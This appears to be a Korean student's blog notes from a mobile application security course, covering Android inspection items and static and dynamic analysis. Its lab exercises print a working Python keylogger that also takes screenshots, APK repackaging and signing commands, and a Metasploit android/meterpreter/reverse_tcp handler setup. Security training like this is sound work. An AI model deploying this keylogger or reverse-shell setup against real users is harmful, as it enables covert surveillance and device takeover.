목차
접기
어플리케이션 보안 & 취약점 진단
[ 안드로이드 Android ]
▶ 모바일 어플리케이션 주요 점검 항목
점검 항목 | 설명 |
OS 변조 탐지 기능 적용 여부 | OS가 변조(루팅, 탈옥)된 단말 이용 시 보안 위협이 증대됨에 따라, OS 변조 시 서비스 이용 가능 여부를 점검 |
프로그램 무결성 검증 | 변조된 프로그램이 정상 실행 될 경우, 악성코드가 포함되어 재배포되는 등의 보안 위협이 존재함에 따라, 변조 프로그램 정상 실행 가능 여부 점검 |
메모리 내 중요정보 노출 여부 | 이용자 단말기 메모리 영역에서 이용자 중요정보의 평문 노출 여부 점검 |
단말기 내 중요정보 저장 여부 | 어플리케이션 사용 폴더 및 외부 저장소에 존재하는 파일 내 주요정보 저장 여부 점검 |
화면 강제 실행에 의한 인증단계 우회 | 화면 강제 실행, 인증관련 파일 조작 등을 통해 인증단계 우회 가능 여부 점검 |
▶ 정적 분석 : 소스코드 상에서 결함을 찾아내는 분석 기법
- AndroidManifest.xml, Decompile 등 소스코드
- 코드 분석
ㄴ 코드 분석 : classes.dex 또는 SO 파일 분석
~> JavaClass 들의 모음
~> DexHeader 안에 각 영역 (String, Type, Proto, Field, Method, Class, Data)에 대한 size와 offset이 정의되어 있음
▶ 동적 분석 : 앱 실행 중인 환경에서 결함을 찾아내는 분석 기법
- 사용자 입/출력 및 실행 흐름 변조 등을 통해 취약점 발생 가능성 확인
- 실행 중이 환경에서 데이터 및 실행 흐름 변조를 통해 취약점 확인
- Frida 또는 XposedFramework
- Java 영역 JEB
- Native 영역 IDA를 통해 동적 분석 가능
- AndroidManifest.xml 내 debuggable="True" 속성 필요
- IDA port forwading
💡오늘의 실습!
smali 코드 분석해보기!
💡오늘의 실습!
키로거 생성하기
from pynput import keyboard, mouse
from datetime import datetime
import pygetwindow
import pyautogui
import time
import threading
def on_click(x, y, button, pressed):
print(pygetwindow.getActiveWindow(), x, y, button)
print(str(datetime.now()).replace(":" ,"") + "_" + str(x) + "_" + str(y) + "_.png")
print(pyautogui.screenshot(str(datetime.now()).replace(":" ,"") + "_" + str(x) + "_" + str(y) + "_.png"))
def getMouse():
with mouse.Listener(on_click = on_click) as listener:
listener.join()
def cature():
while True:
im2 = pyautogui.screenshot(str(datetime.now()).replace(":", "") + "_" + ".png")
time.sleep(15)
def on_press(key):
print(pygetwindow.getActiveWindow().title, datetime.now(), key)
th = threading.Thread(target = getMouse, args=())
th.start()
with keyboard.Listener(on_press = on_press, on_release = None) as listener:
listener.join()
💡오늘의 실습!
디컴파일 후 smali 코드 변경해 리패키징하기! 그리고 nox에서 apk 파일 확인!
리패키징
java -jar [apktool도구.jar] b [디컴파일한 디렉토리] -o [리패키징할 apk 파일명]
키 생성keytool -genkey -alias [alias명] -keyalg RSA -validity 20000 -keystore [Key이름]
서명
jarsigner -verbose -keystore [/Key 위치/Key] [서명할 apk] [alias]
⚠️ 서명까지 완료해야 끝난다!
⚠️ keystore.exe와 jarsigner.exe 찾는 법
dir /a /s keystore.exe dir /a /s jarsigner.exe
nox에서 확인하는 법
우선 Kali 서버에서! (VMware)
msfconsole use exploit/multi/handler set payload android/meterpreter/reverse_tcp set lhost [서버 IP] set lport [포트 번호] set exitonsession false exploit -j
세션 관리sessions sessions -i [번호]로 핸들링
오늘의 후기
: 본격적인 악성코드 실습이라서 코드를 다 올리지 못했다 ㅎㅎ.. 재밌다!
'SeSAC > 어플리케이션 보안 & 취약점 진단' 카테고리의 다른 글
[SeSAC 성동캠퍼스 1기] 어플리케이션 보안 & 취약점 진단 9, 10일차 (2) | 2023.11.23 |
---|---|
[SeSAC 성동캠퍼스 1기] 어플리케이션 보안 & 취약점 진단 7일차 (0) | 2023.11.21 |
[SeSAC 성동캠퍼스 1기] 어플리케이션 보안 & 취약점 진단 5, 6일차 (2) | 2023.11.21 |
[SeSAC 성동캠퍼스 1기] 어플리케이션 보안 & 취약점 진단 4일차 (0) | 2023.11.16 |
[SeSAC 성동캠퍼스 1기] 어플리케이션 보안 & 취약점 진단 3일차 (0) | 2023.11.16 |